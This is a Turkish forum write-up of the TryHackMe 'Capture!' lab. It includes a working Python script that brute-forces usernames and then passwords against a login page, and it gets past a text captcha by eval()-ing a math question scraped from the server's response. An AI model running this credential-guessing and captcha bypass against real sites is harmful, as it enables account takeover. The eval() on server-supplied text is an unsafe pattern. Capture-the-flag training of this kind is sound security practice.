TryHackMe | Capture!

Will Graham

Katılımcı Üye
14 Eki 2022
523
420
4b631e191c14bc9d6b2be078d1adde76.png

merhabalar bu konumda "Capture!" isimli tryhackme makinesini çözeceğiz. bu makine giriş sayfasını bypass ederek bayrağa ulaşmamızı istiyor. bununla birlikte bize usernames.txt ve passwords.txt isimli dosyaları deneme yanılma saldırısı yapabilmemiz için vermiş.

ip adresini tarayıcıda açtığımız zaman bir kullanıcı giriş sayfası ile karşılaşıyoruz. kullanıcı bilgilerini hydra gibi "deneme yanılma" saldırısı yapan araçları kullanarak bulabiliriz ama siteye çok fazla giriş denemesi yapınca bot olup olmadığımızı anlamak için bir güvenlik sorusu soruyor.

rP0n9x.png


bu soru bir resim halinde değil de yazı olarak verildiği için deneme yanılma saldırısı yapan bir prograam yaparak kullanıcı bilgilerini elde edebiliriz.

Python:
import requests
import re

with open("usernames.txt", "r") as file:
    usernames = file.read().splitlines()
with open("passwords.txt", "r") as file:
    passwords = file.read().splitlines()

url = "http://10.10.153.140/login"

for username in usernames:
    request = requests.session()
    req = request.post(url, data={"username": username, "password": "test123"})
    if "Captcha enabled" in req.text:
        ques = re.findall(' (.*?) = ? ', req.text)[0].strip()
        answer = eval(ques)
        req = request.post(url, data={"username": username, "password": "test123", "captcha": answer})
    if f"The user '{username}' does not exist" not in req.text:
        print(f"kullanıcı adı bulundu: {username}")
        user = username
        break

for password in passwords:
    request = requests.session()
    req = request.post(url, data={"username": user, "password": password})
    if "Captcha enabled" in req.text:
        ques = re.findall(' (.*?) = ? ', req.text)[0].strip()
        answer = eval(ques)
        req = request.post(url, data={"username": user, "password": password, "captcha": answer})
    if f"Invalid password for user '{user}'" not in req.text:
        print(f"şifre bulundu: {password}")
        break

yukarıda python ile deneme yanılma saldırısı yapabileceğimiz bir kod yazdım. kullanabilmeniz için 10.satırda ki 10.10.153.140 yazan alana size verilen ip adresini girrmeniz gerekiyor. sonra ise bu kodu bir .py dosyasına kayıt ederek, usernames.txt ve passwords.txt dosyalarıyla aynı dizine koymanız gerek.

programı çalıştırdıktan sonra kendisi ilk önce kullanıcı adını bulmak için denemeler yapar sonra ise bu kullanıcı adını kullanarak şifresini bulmaya çalışır.


rPA0sH.png


kullanıcı bilgilerini bulduktan sonra bu bilgileri giriş sayfasına girerek bayrağa ulaşabilirsiniz.

rP7XDx.png



makine linki: TryHackMe | Capture!
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.